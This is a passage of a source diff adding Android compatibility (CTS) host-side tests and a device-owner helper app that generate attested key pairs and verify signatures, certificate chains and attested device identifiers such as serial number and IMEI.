+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsKeystoreManagedDeviceTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/android/keystore/cts/devicepolicy/*.java",
+    ],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "guava",
+        "truth-prebuilt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "mts-permission",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+        "compatibility-host-util"
+    ],
+    test_config: "CtsKeystoreAdminTestConfig.xml",
+    data: [":current-api-xml"],
+}
diff --git a/tests/tests/keystore/hostside/CtsKeystoreAdminTestConfig.xml b/tests/tests/keystore/hostside/CtsKeystoreAdminTestConfig.xml
new file mode 100644
index 0000000..0445360
--- /dev/null
+++ b/tests/tests/keystore/hostside/CtsKeystoreAdminTestConfig.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Keystore Managed Device host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <!-- Not testing features backed by native code, so only need to run against one ABI -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- Device admin/owner requires being run in system user -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <!-- Push the list of public APIs to device -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/device-policy-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/device-policy-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <!-- The source file current.api is prepared by //cts/tests/signature/api/Android.mk -->
+        <!-- The target path should be consistent with CurrentApiHelper#CURRENT_API_FILE -->
+        <option name="push" value="current.api->/data/local/tmp/device-policy-test/current.api" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsKeystoreManagedDeviceTestCases.jar" />
+        <option name="runtime-hint" value="31m41s" />
+    </test>
+</configuration>
diff --git a/tests/tests/keystore/hostside/app/Android.bp b/tests/tests/keystore/hostside/app/Android.bp
new file mode 100644
index 0000000..8d16125
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/Android.bp
@@ -0,0 +1,53 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsKeystoreDeviceOwnerApp",
+    defaults: [
+        "cts_defaults",
+        "mts-target-sdk-version-current",
+    ],
+    platform_apis: true,
+    min_sdk_version: "30",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
+        "MetricsRecorder",
+        "statsdprotolite",
+        "compatibility-common-util-devicesidelib",
+    ],
+    resource_dirs: ["res"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "mts-permission",
+    ],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/tests/tests/keystore/hostside/app/AndroidManifest.xml b/tests/tests/keystore/hostside/app/AndroidManifest.xml
new file mode 100644
index 0000000..b88a1e1
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/AndroidManifest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.keystore.deviceowner">
+
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <!-- Add a network security config that trusts user added CAs for tests -->
+    <application android:networkSecurityConfig="@xml/network_security_config"
+         android:testOnly="true">
+
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.keystore.deviceowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="com.android.cts.keystore.deviceowner.KeyManagementActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.keystore.deviceowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/keystore/hostside/app/res/xml/device_admin.xml b/tests/tests/keystore/hostside/app/res/xml/device_admin.xml
new file mode 100644
index 0000000..23d7785
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/res/xml/device_admin.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies>
+         <watch-login />
+         <disable-keyguard-features />
+    </uses-policies>
+</device-admin>
diff --git a/tests/tests/keystore/hostside/app/res/xml/network_security_config.xml b/tests/tests/keystore/hostside/app/res/xml/network_security_config.xml
new file mode 100644
index 0000000..6b0779f
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/res/xml/network_security_config.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+  <base-config cleartextTrafficPermitted="true">
+    <trust-anchors>
+      <certificates src="user" />
+    </trust-anchors>
+  </base-config>
+</network-security-config>
diff --git a/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/BaseDeviceAdminTest.java b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/BaseDeviceAdminTest.java
new file mode 100644
index 0000000..7795396
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/BaseDeviceAdminTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.keystore.deviceowner;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.widget.Toast;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+
+/**
+ * Base class for device admin based tests.
+ *
+ * <p>This class handles making sure that the test is the device owner and that it has an
+ * active admin registered, so that all tests may assume these are done.
+ */
+public abstract class BaseDeviceAdminTest extends InstrumentationTestCase {
+
+    public static final class BasicAdminReceiver extends DeviceAdminReceiver {
+        void showToast(Context context, CharSequence msg) {
+            Toast.makeText(context, msg, Toast.LENGTH_SHORT).show();
+        }
+        @Override
+        public void onEnabled(Context context, Intent intent) {
+            showToast(context, "Device admin enabled");
+        }
+        @Override
+        public void onDisabled(Context context, Intent intent) {
+            showToast(context, "Device admin disabled");
+        }
+    }
+
+    private static final String TAG = BaseDeviceAdminTest.class.getSimpleName();
+
+    public static final String PACKAGE_NAME = BasicAdminReceiver.class.getPackage().getName();
+    public static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+            PACKAGE_NAME, BasicAdminReceiver.class.getName());
+
+    protected DevicePolicyManager mDevicePolicyManager;
+
+    protected final String mTag = getClass().getSimpleName();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Context mContext = getInstrumentation().getContext();
+
+        boolean isDeviceOwnerTest = "DeviceOwner"
+                .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
+
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class, isDeviceOwnerTest);
+
+        Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
+                + mDevicePolicyManager);
+        assertWithMessage("Device policy manager should not be NULL for "
+                + ADMIN_RECEIVER_COMPONENT).that(mDevicePolicyManager).isNotNull();
+
+        boolean isActiveAdmin = mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT);
+        boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
+
+        Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
+                + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
+                + ", isActiveAdmin=" + isActiveAdmin
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+
+        assertWithMessage("Expected to be an active admin with component %s",
+                ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin).isTrue();
+
+        assertWithMessage("device owner for %s", PACKAGE_NAME)
+                .that(isDeviceOwner).isTrue();
+    }
+}
diff --git a/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementActivity.java b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementActivity.java
new file mode 100644
index 0000000..0745d41
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.keystore.deviceowner;
+
+import android.app.Activity;
+
+public class KeyManagementActivity extends Activity {
+}
diff --git a/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementTest.java b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementTest.java
new file mode 100755
index 0000000..03b7126
--- /dev/null
+++ b/tests/tests/keystore/hostside/app/src/com/android/cts/keystore/deviceowner/KeyManagementTest.java
@@ -0,0 +1,361 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.keystore.deviceowner;
+
+import static android.app.admin.DevicePolicyManager.ID_TYPE_BASE_INFO;
+import static android.app.admin.DevicePolicyManager.ID_TYPE_IMEI;
+import static android.app.admin.DevicePolicyManager.ID_TYPE_MEID;
+import static android.app.admin.DevicePolicyManager.ID_TYPE_SERIAL;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.keystore.cts.Attestation;
+import android.keystore.cts.AuthorizationList;
+import android.os.Build;
+import android.security.AttestedKeyPair;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+import android.security.keystore.StrongBoxUnavailableException;
+import android.support.test.uiautomator.UiDevice;
+import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.ApiTest;
+
+import java.io.IOException;
+import java.security.GeneralSecurityException;
+import java.security.KeyPair;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateParsingException;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+
+public class KeyManagementTest extends BaseDeviceAdminTest {
+
+    private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+
+    private static class SupportedKeyAlgorithm {
+        public final String keyAlgorithm;
+        public final String signatureAlgorithm;
+        public final String[] signaturePaddingSchemes;
+
+        public SupportedKeyAlgorithm(
+                String keyAlgorithm, String signatureAlgorithm,
+                String[] signaturePaddingSchemes) {
+            this.keyAlgorithm = keyAlgorithm;
+            this.signatureAlgorithm = signatureAlgorithm;
+            this.signaturePaddingSchemes = signaturePaddingSchemes;
+        }
+    }
+
+    private final SupportedKeyAlgorithm[] SUPPORTED_KEY_ALGORITHMS = new SupportedKeyAlgorithm[] {
+        new SupportedKeyAlgorithm(KeyProperties.KEY_ALGORITHM_RSA, "SHA256withRSA",
+                new String[] {KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                    KeyProperties.SIGNATURE_PADDING_RSA_PKCS1}),
+        new SupportedKeyAlgorithm(KeyProperties.KEY_ALGORITHM_EC, "SHA256withECDSA", null)
+    };
+
+    private KeyManagementActivity mActivity;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        final UiDevice device = UiDevice.getInstance(getInstrumentation());
+        mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
+                KeyManagementActivity.class, null);
+        device.waitForIdle();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mActivity.finish();
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
+        super.tearDown();
+    }
+
+    byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = new String("hello").getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+            throws Exception {
+        byte[] data = new String("hello").getBytes();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+        verifySignature(algoIdentifier, keyPair.getPublic(),
+                signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+    }
+
+    private void validateDeviceIdAttestationData(Certificate leaf,
+            String expectedSerial, String expectedImei, String expectedMeid)
+            throws CertificateParsingException {
+        Attestation attestationRecord = Attestation.loadFromCertificate((X509Certificate) leaf);
+        AuthorizationList teeAttestation = attestationRecord.getTeeEnforced();
+        assertThat(teeAttestation).isNotNull();
+        assertThat(teeAttestation.getBrand()).isEqualTo(Build.BRAND);
+        assertThat(teeAttestation.getDevice()).isEqualTo(Build.DEVICE);
+        assertThat(teeAttestation.getProduct()).isEqualTo(Build.PRODUCT);
+        assertThat(teeAttestation.getManufacturer()).isEqualTo(Build.MANUFACTURER);
+        assertThat(teeAttestation.getModel()).isEqualTo(Build.MODEL);
+        assertThat(teeAttestation.getSerialNumber()).isEqualTo(expectedSerial);
+        assertThat(teeAttestation.getImei()).isEqualTo(expectedImei);
+        assertThat(teeAttestation.getMeid()).isEqualTo(expectedMeid);
+    }
+
+    private void validateAttestationRecord(List<Certificate> attestation, byte[] providedChallenge)
+            throws CertificateParsingException {
+        assertThat(attestation).isNotNull();
+        assertThat(attestation.size()).isGreaterThan(1);
+        X509Certificate leaf = (X509Certificate) attestation.get(0);
+        Attestation attestationRecord = Attestation.loadFromCertificate(leaf);
+        assertThat(attestationRecord.getAttestationChallenge()).isEqualTo(providedChallenge);
+    }
+
+    private void validateSignatureChain(List<Certificate> chain, PublicKey leafKey)
+            throws GeneralSecurityException {
+        X509Certificate leaf = (X509Certificate) chain.get(0);
+        PublicKey keyFromCert = leaf.getPublicKey();
+        assertThat(keyFromCert.getEncoded()).isEqualTo(leafKey.getEncoded());
+        // Check that the certificate chain is valid.
+        for (int i = 1; i < chain.size(); i++) {
+            X509Certificate intermediate = (X509Certificate) chain.get(i);
+            PublicKey intermediateKey = intermediate.getPublicKey();
+            leaf.verify(intermediateKey);
+            leaf = intermediate;
+        }
+
+        // leaf is now the root, verify the root is self-signed.
+        PublicKey rootKey = leaf.getPublicKey();
+        leaf.verify(rootKey);
+    }
+
+    private boolean isDeviceIdAttestationSupported() {
+        return mDevicePolicyManager.isDeviceIdAttestationSupported();
+    }
+
+    private boolean isDeviceIdAttestationRequested(int deviceIdAttestationFlags) {
+        return deviceIdAttestationFlags != 0;
+    }
+
+    /**
+     * Generates a key using DevicePolicyManager.generateKeyPair using the given key algorithm,
+     * then test signing and verifying using generated key.
+     * If {@code signaturePaddings} is not null, it is added to the key parameters specification.
+     * Returns the Attestation leaf certificate.
+     */
+    private Certificate generateKeyAndCheckAttestation(
+            String keyAlgorithm, String signatureAlgorithm,
+            String[] signaturePaddings, boolean useStrongBox,
+            int deviceIdAttestationFlags) throws Exception {
+        final String alias =
+                String.format("com.android.test.attested-%s", keyAlgorithm.toLowerCase());
+        byte[] attestationChallenge = new byte[] {0x01, 0x02, 0x03};
+        try {
+            KeyGenParameterSpec.Builder specBuilder =  new KeyGenParameterSpec.Builder(
+                    alias,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                    .setDigests(KeyProperties.DIGEST_SHA256)
+                    .setAttestationChallenge(attestationChallenge)
+                    .setIsStrongBoxBacked(useStrongBox);
+            if (signaturePaddings != null) {
+                specBuilder.setSignaturePaddings(signaturePaddings);
+            }
+
+            KeyGenParameterSpec spec = specBuilder.build();
+            AttestedKeyPair generated = mDevicePolicyManager.generateKeyPair(
+                    getWho(), keyAlgorithm, spec, deviceIdAttestationFlags);
+            // If Device ID attestation was requested, check it succeeded if and only if device ID
+            // attestation is supported.
+            if (isDeviceIdAttestationRequested(deviceIdAttestationFlags)) {
+                if (generated == null) {
+                    assertWithMessage(
+                            String.format(
+                                "The device failed ID attestation, despite declaring it support for"
+                                + "the feature. This is a hardware-related failure that should be "
+                                + "analyzed by the OEM. The failure was for algorithm %s with flags"
+                                + " %s.",
+                                keyAlgorithm, deviceIdAttestationFlags))
+                            .that(isDeviceIdAttestationSupported())
+                            .isFalse();
+                    return null;
+                } else {
+                    assertWithMessage(
+                            String.format(
+                                "The device declares it does not support ID attestation yet it "
+                                + "produced a valid ID attestation record (for algorithm  %s, flags"
+                                + " %s). This is a device configuration issue that should be "
+                                + "analyzed by the OEM first",
+                                keyAlgorithm, deviceIdAttestationFlags))
+                            .that(isDeviceIdAttestationSupported())
+                            .isTrue();
+                }
+            } else {
+                assertWithMessage(
+                        String.format(
+                                "The device failed to generate a key with attestation that does not"
+                                + " include Device ID attestation. This is a hardware failure that "
+                                + "is usually caused by attestation keys not being provisioned on "
+                                + "the device, and the OEM needs to analyze the underlying cause."
+                                + " Algorithm used: %s",
+                                keyAlgorithm))
+                        .that(generated)
+                        .isNotNull();
+            }
+            final KeyPair keyPair = generated.getKeyPair();
+            verifySignatureOverData(signatureAlgorithm, keyPair);
+            List<Certificate> attestation = generated.getAttestationRecord();
+            validateAttestationRecord(attestation, attestationChallenge);
+            validateSignatureChain(attestation, keyPair.getPublic());
+            return attestation.get(0);
+        } catch (UnsupportedOperationException ex) {
+            assertWithMessage(
+                    String.format(
+                            "Unexpected failure while generating key %s with ID flags %d: %s",
+                            keyAlgorithm, deviceIdAttestationFlags, ex))
+                    .that(
+                            isDeviceIdAttestationRequested(deviceIdAttestationFlags)
+                            && !isDeviceIdAttestationSupported())
+                    .isTrue();
+            return null;
+        } finally {
+            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
+        }
+    }
+
+    public void assertAllVariantsOfDeviceIdAttestation(boolean useStrongBox) throws Exception {
+        List<Integer> modesToTest = new ArrayList<Integer>();
+        String imei = null;
+        String meid = null;
+        // All devices must support at least basic device information attestation as well as serial
+        // number attestation. Although attestation of unique device ids are only callable by device
+        // owner.
+        modesToTest.add(ID_TYPE_BASE_INFO);
+        modesToTest.add(ID_TYPE_SERIAL);
+        // Get IMEI and MEID of the device.
+        TelephonyManager telephonyService = mActivity.getSystemService(TelephonyManager.class);
+        assertWithMessage("Need to be able to read device identifiers")
+                .that(telephonyService)
+                .isNotNull();
+        imei = telephonyService.getImei(0);
+        meid = telephonyService.getMeid(0);
+        assertNotNull(imei);
+        //assertNotNull(meid);
+        // If the device has a valid IMEI it must support attestation for it.
+        if (imei != null) {
+            modesToTest.add(ID_TYPE_IMEI);
+        }
+        // Same for MEID
+        if (meid != null) {
+            modesToTest.add(ID_TYPE_MEID);
+        }
+        int numCombinations = 1 << modesToTest.size();
+        for (int i = 1; i < numCombinations; i++) {
+            // Set the bits in devIdOpt to be passed into generateKeyPair according to the
+            // current modes tested.
+            int devIdOpt = 0;
+            for (int j = 0; j < modesToTest.size(); j++) {
+                if ((i & (1 << j)) != 0) {
+                    devIdOpt = devIdOpt | modesToTest.get(j);
+                }
+            }
+            try {
+                // Now run the test with all supported key algorithms
+                for (SupportedKeyAlgorithm supportedKey: SUPPORTED_KEY_ALGORITHMS) {
+                    Certificate attestation = generateKeyAndCheckAttestation(
+                            supportedKey.keyAlgorithm, supportedKey.signatureAlgorithm,
+                            supportedKey.signaturePaddingSchemes, useStrongBox, devIdOpt);
+                    // generateKeyAndCheckAttestation should return null if device ID attestation
+                    // is not supported. Simply continue to test the next combination.
+                    if (attestation == null && !isDeviceIdAttestationSupported()) {
+                        continue;
+                    }
+                    assertWithMessage(
+                            String.format(
+                                    "Attestation should be valid for key %s with attestation modes"
+                                    + " %s",
+                                    supportedKey.keyAlgorithm, devIdOpt))
+                            .that(attestation)
+                            .isNotNull();
+                    // Set the expected values for serial, IMEI and MEID depending on whether
+                    // attestation for them was requested.
+                    String expectedSerial = null;
+                    if ((devIdOpt & ID_TYPE_SERIAL) != 0) {
+                        expectedSerial = Build.getSerial();
+                    }
+                    String expectedImei = null;
+                    if ((devIdOpt & ID_TYPE_IMEI) != 0) {
+                        expectedImei = imei;
+                    }
+                    String expectedMeid = null;
+                    if ((devIdOpt & ID_TYPE_MEID) != 0) {
+                        expectedMeid = meid;
+                    }
+                    validateDeviceIdAttestationData(attestation, expectedSerial,
+                            expectedImei, expectedMeid);
+                }
+            } catch (UnsupportedOperationException expected) {
+                // Make sure the test only fails if the device is not meant to support Device
+                // ID attestation.
+                assertThat(isDeviceIdAttestationSupported()).isFalse();
+            } catch (StrongBoxUnavailableException expected) {
+                // This exception must only be thrown if StrongBox attestation was requested.
+                assertThat(useStrongBox && !hasStrongBox()).isTrue();
+            }
+        }
+    }
+
+    @ApiTest(apis={"android.app.admin.DevicePolicyManager#generateKeyPair",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_IMEI",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_MEID",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_SERIAL"})
+    public void testAllVariationsOfDeviceIdAttestation() throws Exception {
+        assertAllVariantsOfDeviceIdAttestation(false /* useStrongBox */);
+    }
+
+    @ApiTest(apis={"android.app.admin.DevicePolicyManager#generateKeyPair",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_IMEI",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_MEID",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_SERIAL"})
+    public void testAllVariationsOfDeviceIdAttestationUsingStrongBox() throws Exception {
+        assertAllVariantsOfDeviceIdAttestation(true /* useStrongBox */);
+    }
+
+    private ComponentName getWho() {
+        return ADMIN_RECEIVER_COMPONENT;
+    }
+
+    boolean hasStrongBox() {
+        return mActivity.getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+    }
+}
diff --git a/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/BaseDevicePolicyTest.java b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/BaseDevicePolicyTest.java
new file mode 100644
index 0000000..933ee26
--- /dev/null
+++ b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -0,0 +1,496 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.devicepolicy;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.annotation.Nullable;
+
+/**
+ * Base class for device policy tests. It offers utility methods to run tests, set device or profile
+ * owner, etc.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
+
+    //The maximum time to wait for user to be unlocked.
+    private static final long USER_UNLOCK_TIMEOUT_SEC = 30;
+    private static final String USER_STATE_UNLOCKED = "RUNNING_UNLOCKED";
+
+    protected static final String PERMISSION_INTERACT_ACROSS_USERS =
+            "android.permission.INTERACT_ACROSS_USERS";
+
+    @Option(
+            name = "skip-device-admin-feature-check",
+            description = "Flag that allows to skip the check for android.software.device_admin "
+                + "and run the tests no matter what. This is useful for system that do not what "
+                + "to expose that feature publicly."
+    )
